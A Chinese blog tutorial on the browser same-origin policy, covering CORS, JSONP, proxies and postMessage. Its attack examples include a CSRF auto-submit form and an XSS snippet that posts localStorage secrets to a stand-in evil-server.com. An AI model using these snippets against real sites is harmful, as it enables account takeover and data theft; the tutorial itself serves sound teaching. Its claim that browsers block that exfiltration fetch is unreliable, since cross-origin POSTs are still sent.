社区工作者有编制吗海城seo网站排名优化推广

个人博客：haichenyi.com。感谢关注

一. 目录

• 一–目录
• 二–什么是“同源”？
• 三–同源策略的限制范围​
• 四–允许跨源的场景​
• 五–如何绕过同源策略（安全方式）​
• 六–同源策略的安全意义​
• 七–总结

二. 什么是“同源”？

  什么时同源策略？ 它是浏览器的一种安全机制，用于限制不同源的网页脚本或文档之间的交互，以防止恶意程序获取用户隐私协议或跨站攻击。
  同源策略，同源策略，那什么是同源 呢？只有不同源才有这个限制，所以同源很重要。说同源之前，先讲一下URL的组成：如下

URL组成:协议+域名+端口号+路径+参数。举个栗子：
https://www.haichenyi.com:8080/user?name='haichenyi'&password='123456'
协议(Protocol)：https
域名(Domain)：www.haichenyi.com
端口号(Port)：8080				端口号是可选的
路径(path)：user				路径可能是多级的，比方说：user/a/b类似这种
参数(Query Parameters):?name='haichenyi'&password='123456'				以 ? 开头，键值对用 & 分隔。

  同源的概念：两个URL的协议，域名，端口号全都要相同，才是同源，只要其中一个不满足，都不是同源

URL	是否与 http://haichenyi.com/page1 同源？​	原因
http://haichenyi.com/page2	✅ 是	协议，域名，端口号都相同
https://haichenyi.com/page1	❌ 否	协议不同(httpVShttps)
http://sub.haichenyi.com	❌ 否	域名不同(主域名VS子域名)
http://haichenyi.com:8080	❌ 否	端口号不同(默认是80VS8080)

三. 同源策略的限制范围

（3.1）DOM 访问
禁止跨源页面通过JavaScript访问彼此的DOM元素(如：iframe.contentWindow)

// 如果 iframe 加载的是跨源页面，以下操作会抛出安全错误
const iframe = document.getElementById("cross-origin-iframe");
const innerDoc = iframe.contentWindow.document; // ❌ 禁止

（3.2）Cookie、LocalStorage 等存储​

跨源页面无法读取和修改彼此的Cookie和LocalStorage等存储数据

（3.3）AJAX 请求（XMLHttpRequest/Fetch）
默认禁止AJAX请求(需通过CORS机制授权，即服务端告诉可以访问哪个域名下的资源)

四. 允许跨源的场景

浏览器允许某些特定资源的跨域访问，但限制脚本对其内容的直接访问
（4.1）​​嵌入资源
img,srcipt,link,video等标签可以直接加载跨域资源，但JavaScript无法直接读取其内容

<!-- 允许加载跨源脚本，但无法直接访问其内部变量 -->
<script src="https://another-site.com/script.js"></script>

（4.2）​​JSONP（JSON with Padding）
通过 script 标签动态插入跨源脚本，利用回调函数获取数据（需服务器支持）

function handleResponse(data) { console.log(data); }
const script = document.createElement("script");
script.src = "https://api.example.com/data?callback=handleResponse";
document.body.appendChild(script);

（4.3）​​CORS（跨源资源共享）
服务器通过设置HTTP的响应头（如Access-Control-Allow-Origin）明确允许跨域请求

Access-Control-Allow-Origin: https://your-site.com  // 允许特定源
Access-Control-Allow-Origin: *                     // 允许所有源（慎用）

五. 如何绕过同源策略（安全方式）

（5.1） CORS（推荐）​
上面已经介绍过这个方式了。服务器设置响应头，授权指定源的跨域请求：

Access-Control-Allow-Origin: https://your-site.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization

（5.2） 代理服务器
这个方式用的也比较多，通过同源的后端服务器转发请求，从而绕过浏览器限制。一般通过niginx配置转发请求。

浏览器 → 同源代理服务器（your-site.com） → 跨源API（api.another-site.com）server {listen 80;server_name frontend.com;location / {# 前端静态资源root /var/www/html;}location /api {# 代理到真实后端APIproxy_pass http://api.com;# 可选：添加CORS头（若后端未设置）add_header 'Access-Control-Allow-Origin' 'http://frontend.com';}
}
通过Nginx反向代理，​​将不同源的请求转化为同源请求​​，彻底避免触发同源策略。
前端页面：http://frontend.com
Nginx代理：http://frontend.com/api → 实际请求 http://api.com

（5.3） postMessage API​
跨源窗口间通过 postMessage 安全通信：

// 父窗口（your-site.com）向跨源子窗口发送消息
const iframe = document.getElementById("iframe");
iframe.contentWindow.postMessage("Hello", "https://another-site.com");// 子窗口（another-site.com）监听消息
window.addEventListener("message", (event) => {if (event.origin !== "https://your-site.com") return;console.log(event.data); // "Hello"
});

（5.4） WebSocket​
WebSocket 协议不受同源策略限制，但需服务器支持：

const socket = new WebSocket("wss://another-site.com/ws");

六. 同源策略的安全意义

（6.1）恶意网站窃取用户数据的例子
场景：钓鱼网站窃取银行账户信息
​攻击流程​​：
  1.用户登录了正规银行网站 https://bank.com，并在浏览器中保留了会话 Cookie。
  2.用户访问了一个恶意网站 http://evil-site.com，该网站内嵌了一个隐藏的 iframe 加载银行页面：

<iframe src="https://bank.com/account"></iframe>

  3.恶意网站尝试通过 JavaScript 读取 iframe 中的内容：

const iframe = document.querySelector("iframe");
const accountData = iframe.contentDocument.body.innerHTML; // 尝试获取账户信息

​同源策略的防护：
  如果没有同源策略，上诉的这个场景，用户的信息就被别人完全读取到了，可以做任意操作了，转账汇款等等
  由于 http://evil-site.com（HTTP）与 https://bank.com（HTTPS）​​协议不同​​，属于跨源。
  浏览器会阻止恶意脚本读取 iframe 的 DOM 内容，抛出安全错误：
SecurityError: Blocked a frame with origin “http://evil-site.com” from accessing a cross-origin frame.

（6.2）跨站请求伪造（CSRF）
​攻击流程​​：
  1.用户登录了社交媒体网站 https://social.com，会话 Cookie 未过期。
  2.用户访问了恶意网站 http://evil-site.com，该网站隐藏了一个自动提交的表单：

<form action="https://social.com/delete-account" method="POST"><input type="hidden" name="confirm" value="true">
</form>
<script>document.forms[0].submit();</script>

  3.浏览器会自动携带 social.com 的 Cookie 发送请求，导致用户账户被删除。
同源策略的局限性​​：
  同源策略不阻止跨源请求的发送​​（如表单提交、图片加载），但会阻止脚本读取跨源请求的响应内容。
  防护需结合其他机制​​（如 CSRF Token）：服务器在表单中生成随机 Token，请求时验证 Token 合法性。

（6.3）跨站脚本攻击（XSS）+ 数据窃取
攻击流程​​：
  1.网站 https://vulnerable-site.com 存在 XSS 漏洞，允许攻击者注入恶意脚本：

// 注入的脚本：窃取用户数据并发送到攻击者服务器
const userData = localStorage.getItem("secret");
fetch("http://evil-server.com/steal", { method: "POST", body: userData });

  2.用户访问被注入脚本的页面后，敏感数据被发送到 http://evil-server.com。
​​同源策略的防护​​：
  如果 evil-server.com 是跨源，​​浏览器会阻止 fetch 请求​​（除非服务器明确允许 CORS）：
  漏洞根源是 XSS​​，同源策略无法直接阻止攻击，但能限制数据外泄的路径。

总结

攻击类型​	例子​	同源策略的作用​
数据窃取	恶意网站读取iframe中的dom或者cookie	阻止跨域脚本访问其他源的DOM和cookie
​​跨站请求伪造​	恶意表单提交或者自动请求	不阻止请求的发送，单阻止脚本读取跨域的响应内容
​​XSS + 数据外泄	注入脚本尝试将数据发送的攻击服务器	阻止跨域的fetch请求（需 CORS 授权）

七. 总结

• 同源策略​​ 是浏览器保护用户数据安全的核心机制，限制跨源脚本和数据的交互。
• 跨源操作需通过 CORS、代理、postMessage 等安全方式实现​​。
• 开发中若遇跨域问题，优先检查服务端是否配置正确的 CORS 头，或使用代理服务器中转请求。